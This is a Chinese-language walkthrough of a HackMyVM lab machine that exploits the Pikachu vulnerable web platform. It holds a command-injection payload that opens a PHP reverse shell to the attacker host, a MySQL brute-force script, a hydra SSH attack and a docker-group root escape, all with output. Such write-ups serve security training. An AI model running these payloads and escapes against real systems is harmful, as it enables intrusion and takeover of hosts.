language_202506024

1. 基本信息

靶机链接:
https://maze-sec.com/library
https://hackmyvm.eu/machines/machine.php?vm=

难度: ⭐⭐
知识点: 信息收集, `MySQL`数据库, `hydra`爆破 , `docker`提权

2. 信息收集

Nmap

```
└─# arp-scan -l | grep PCS
192.168.43.19   08:00:27:5f:cd:b8       PCS Systemtechnik GmbH
└─# IP=192.168.43.19
└─# nmap -sV -sC -A $IP -Pn
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-24 07:03 EDT
Nmap scan report for 192.168.43.19 (192.168.43.19)
Host is up (0.00042s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp   open  http    Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Site doesn't have a title (text/html).
9999/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
```

```
| http-git:
|   192.168.43.19:9999/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file
'description' to name the...
|     Remotes:
|_      https://github.com/zhuifengshaonianhanlu/pikachu.git
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-title: Get the pikachu
MAC Address: 08:00:27:5F:CD:B8 (Oracle VirtualBox virtual NIC)
```

开放了`22、80、9999`端口,`9999`端口提示`git`泄露先取下来没发现啥有用信息

```
GitHack>python3 GitHack.py http://192.168.43.19:9999/.git

http://192.168.43.19:9999/index.php
Pikachu 漏洞练习平台 pika~pika~
```

3.获得`www-data`权限

再去看看`web:9999`是`Pikachu`漏洞练习平台，`Pikachu`是一个带有漏洞的`Web`应用系统，包含了常见的`web`安全漏洞。

```
#php反弹shell
#参考https://mp.weixin.qq.com/s/jsqxgmnd4Sl2RUyJiyg7FQ
127.0.0.1|php -r '$sock=fsockopen("192.168.43.41",1234);exec("/bin/sh
-i <&3 >&3 2>&3");'
└─# nc -lvp 1234
listening on [any] 1234 ...
id
connect to [192.168.43.41] from 192.168.43.19 [192.168.43.19] 36328
/bin/sh: 0: can't access tty; job control turned off
$ uid=1000(www-data) gid=50(staff) groups=50(staff)
```

进入`Pikachu`漏洞练习平台，`exec "ping"`很容易命令注入，但是很多命令做了限制反弹`shell`失败（后面知道当前在docker里）,各种尝试后用`php`成功反弹`shell`

H5 测试MYSQL

拿到`www-data`权限后在`/tmp`目录下发现`hint.txt`提示信息账户名和

```
www-data@b0dd1db70539:ls /tmp
hint.txt
phpmyadmin.tar.gz
tmpe8nqqot2
tmp.FxoRjQWjAU
#cat hint.txt
Maybe passwords are all made up of usernames
```

看了`etc/passwd`里可登录账户有个`mysql`,手动组合了一份由不同账户名重复次数组成的密码字典去尝试爆破mysql服务器以及ssh的密码，AI写了个脚本

```
#!/bin/bash
set -euo pipefail  # 健壮性设置：错误退出、未定义变量报错、管道错误传递

# 检查字典文件
PASS_FILE="pass.txt"
if [[ ! -f "$PASS_FILE" ]]; then
    echo "错误：密码字典文件 $PASS_FILE 不存在！" >&2
    exit 1
fi

# 并发控制（默认 16 线程）
MAX_WORKERS=${1:-16}
if ! [[ "$MAX_WORKERS" =~ ^[0-9]+$ ]]; then
    echo "警告：并发参数非数字，使用默认值 16" >&2
    MAX_WORKERS=16
fi

# 目标 MySQL 配置（按需修改）
MYSQL_USER="root"        # 目标用户名
MYSQL_HOST="127.0.0.1"   # 目标主机
MYSQL_PORT="3306"        # 端口

# 密码尝试函数
try_login() {
    local password="$1"
    # 关键：使用 2>&1 捕获错误输出，避免终端污染
    if mysql -u "$MYSQL_USER" -p"$password" -h "$MYSQL_HOST" -P
"$MYSQL_PORT" --connect-timeout=5 -e ";" 2>&1 | grep -q "ERROR"; then
        return 1  # 登录失败
    else
```

```
            echo -e "\n[+] 爆破成功！用户名: $MYSQL_USER 密码: $password"
            kill 0  # 终止整个进程组（停止所有并发任务）
            exit 0
        fi
    }

    # 并发任务池
    main() {
        local active_workers=0
        while read -r password; do
            # 等待空闲线程
            while (( active_workers >= MAX_WORKERS )); do
                wait -n && ((active_workers--)) || true
            done

            # 启动新任务
            try_login "$password" &
            ((active_workers++))

            # 打印进度（每 10 次尝试输出一次）
            if (( ++count % 10 == 0 )); then
                echo -n "." >&2
            fi
        done < "$PASS_FILE"
        wait  # 等待所有后台任务结束
        echo -e "\n[-] 爆破失败，未找到有效密码！" >&2
        exit 1
    }

    # 执行主函数
    main

    [+] 爆破成功！用户名: root 密码: root
```

拿到数据库密码`root/root`，测试登陆错误的，翻文件最后在`/usr/share/mysql/debian_create_root_user.sql`，发现`root`密码为空

```
www-data@b0dd1db70539:/app$ find / -name "mysql" 2>/dev/null
/usr/bin/mysql
/usr/lib/mysql
/usr/share/mysql
/usr/share/php7.3-mysql/mysql
/etc/init.d/mysql
/etc/mysql
/var/log/mysql
```

```
/var/lib/mysql
/var/lib/mysql/mysql
www-data@b0dd1db70539:/app$ cd /usr/share/mysql
www-data@b0dd1db70539:/usr/share/mysql$ ls
debian_create_root_user.sql  ......
www-data@b0dd1db70539:/usr/share/mysql$ cat
/usr/share/mysql/debian_create_root_user.sql
-- Get the hostname, if the hostname has any wildcard character like
"_" or "%"
-- add escape character in front of wildcard character to convert "_"
or "%" to
-- a plain character
SET @get_hostname= @@hostname;
SELECT REPLACE((SELECT REPLACE(@get_hostname,'_','\_')),'%','\%') INTO
@current_hostname;

-- Fill "user" table with default users allowing root access
-- from local machine if "user" table didn't exist before
CREATE TEMPORARY TABLE tmp_user LIKE user;
INSERT INTO tmp_user VALUES
('localhost','root','','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y'
,'Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','
','','','',0,0,0,0,'','','N');
REPLACE INTO tmp_user SELECT
@current_hostname,'root','','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y'
,'Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y',
'Y','','','','',0,0,0,0,'','','N' FROM dual WHERE LOWER(
@current_hostname) ≠ 'localhost';
REPLACE INTO tmp_user VALUES
('127.0.0.1','root','','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y'
,'Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','
','','','',0,0,0,0,'','','N');
REPLACE INTO tmp_user VALUES
('::1','root','','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','
Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','','','
',0,0,0,0,'','','N');
INSERT INTO user SELECT * FROM tmp_user WHERE @had_user_table=0;
DROP TABLE tmp_user;

CREATE TEMPORARY TABLE tmp_proxies_priv LIKE proxies_priv;
INSERT INTO tmp_proxies_priv VALUES ('localhost', 'root', '', '',
TRUE, '', now());
REPLACE INTO tmp_proxies_priv SELECT @current_hostname, 'root', '',
'', TRUE, '', now() FROM DUAL WHERE LOWER (@current_hostname) ≠
'localhost';
```

```
INSERT INTO  proxies_priv SELECT * FROM tmp_proxies_priv WHERE
@had_proxies_priv_table=0;
DROP TABLE tmp_proxies_priv;
FLUSH PRIVILEGES;
```

H5 MySQL 数据库的常用命令

```
mysql -uroot -proot123 -h127.0.0.1 -P3306
#查库
SHOW DATABASES;  -- 列出所有数据库
SHOW DATABASES LIKE 'pattern%';  -- 按模式过滤（如`test_%`）
#选择/切换数据库
USE database_name;  -- 进入指定数据库
SELECT DATABASE();  -- 查看当前所在数据库
#查表
SHOW TABLES;  -- 当前库的所有表
SHOW TABLES FROM db_name;  -- 查看其他库的表（无需切换库）
SHOW TABLES LIKE 'user_%';  -- 按名称过滤
#查字段
select * from table_name;
SHOW COLUMNS FROM table_name;
```

查询结果

```
mysql> SHOW DATABASES;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| pikachu            |
| pkxss              |
| sys                |
+--------------------+
6 rows in set (0.04 sec)

mysql> use pikachu;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+------------------+
| Tables_in_pikachu |
```

```
+--------------------+
| httpinfo           |
| member             |
| message            |
| users              |
| xssblind           |
+--------------------+
5 rows in set (0.00 sec)

mysql> select * from users;
+----+----------+----------------------------------+-------+
| id | username | password                         | level |
+----+----------+----------------------------------+-------+
|  1 | admin    | e10adc3949ba59abbe56e057f20f883e |     1 |
|  2 | pikachu  | 670b14728ad9902aecba32e22fa4f6bd |     2 |
|  3 | test     | e99a18c428cb38d5f260853678922e03 |     3 |
|  4 | ml       | I heard you like explosives      |     4 |
+----+----------+----------------------------------+-------+
4 rows in set (0.00 sec)
```

在数据库中获得靶机宿主账户`ml`,上面的密码不能直接登陆，`md5`解码也不行，不要忘了前面`hint.txt`中的提示信息

4.获得`ml`权限

H5 `hydra`爆破

既然密码是账户名重复不同次数，手动构造一个字典，再`hydra`爆破

```
└─# for i in {1..30}; do printf "ml%.0s" $(seq 1 $i); echo; done > pass.txt

└─# hydra -l ml  -P pass.txt ssh://$IP  -t 4 -V -I -u -f -e nsr
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-06-25 08:44:36
[DATA] max 4 tasks per 1 server, overall 4 tasks, 33 login tries (l:1/p:33), ~9 tries per task
[DATA] attacking ssh://192.168.43.19:22/
```

```
[ATTEMPT] target 192.168.43.19 - login "ml" - pass "ml" - 1 of 33
[child 0] (0/0)
[ATTEMPT] target 192.168.43.19 - login "ml" - pass "" - 2 of 33 [child
1] (0/0)
[ATTEMPT] target 192.168.43.19 - login "ml" - pass "lm" - 3 of 33
[child 2] (0/0)
[ATTEMPT] target 192.168.43.19 - login "ml" - pass "mlml" - 5 of 33
[child 3] (0/0)
[ATTEMPT] target 192.168.43.19 - login "ml" - pass "mlmlml" - 6 of 33
[child 1] (0/0)
[22][ssh] host: 192.168.43.19   login: ml   password: mlmlml
[STATUS] attack finished for 192.168.43.19 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-
06-25 08:44:37
```

使用`ml/mlmlml`成功`ssh`登陆靶机

```
└─# ssh ml@192.168.43.19
ml@192.168.43.19's password:
Linux language 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25)
x86_64

The programs included with the Debian GNU/Linux system are free
software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
ml@language:~$ id
uid=1001(ml) gid=1001(ml) groups=1001(ml),113(docker)
```

H5 拿到`user.txt`

```
ml@language:~$ id
uid=1001(ml) gid=1001(ml) groups=1001(ml),113(docker)
ml@language:~$ cd
ml@language:~$ ls
user.txt
ml@language:~$ pwd
/home/ml
ml@language:~$ cat user.txt
flag{this-is-user-flag!!!}
```

5.获得`root`权限

注意到`ml`用户属组中有 `docker`，直接`docker`逃逸提权

这里拉取镜像启动一个新的容器，以`sh`或者`/bin/bash`作为`shell`启动，并且将该宿主机的根目录挂在到容器的`/mnt`目录下,网上现成的资料 很多

```
ml@language:/tmp$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
docker -H tcp://x.x.x.x:2375 run -it -v /:/mnt alpine:latest sh  或者
/bin/bash

Unable to find image 'alpine:latest' locally

latest: Pulling from library/alpine
fe07684b16b8: Pull complete
Digest:
sha256:8a1f59ffb675680d47db6337b49d22281a139e9d709335b492be023728e1171
5
Status: Downloaded newer image for alpine:latest

# # id
uid=0(root) gid=0(root)
groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(d
ialout),26(tape),27(sudo)

#也可以用本地现成的镜像
ml@language:/tmp$ docker ps -a
CONTAINER ID   IMAGE            COMMAND     CREATED        STATUS
   PORTS                           NAMES
```

```
b0dd1db70539   area39/pikachu   "/run.sh"   46 hours ago   Up 26 hours
  3306/tcp, 0.0.0.0:9999→80/tcp   pikachu
ml@language:/tmp$ docker run -v /:/mnt --rm -it area39/pikachu  chroot
/mnt sh
# id
uid=0(root) gid=0(root) groups=0(root)
```

H5 拿到`root.txt`

```
# # id
uid=0(root) gid=0(root)
groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(d
ialout),26(tape),27(sudo)
# cd
# ls
root.txt
# cat root.txt
flag{this-is-root-flag!!!}
```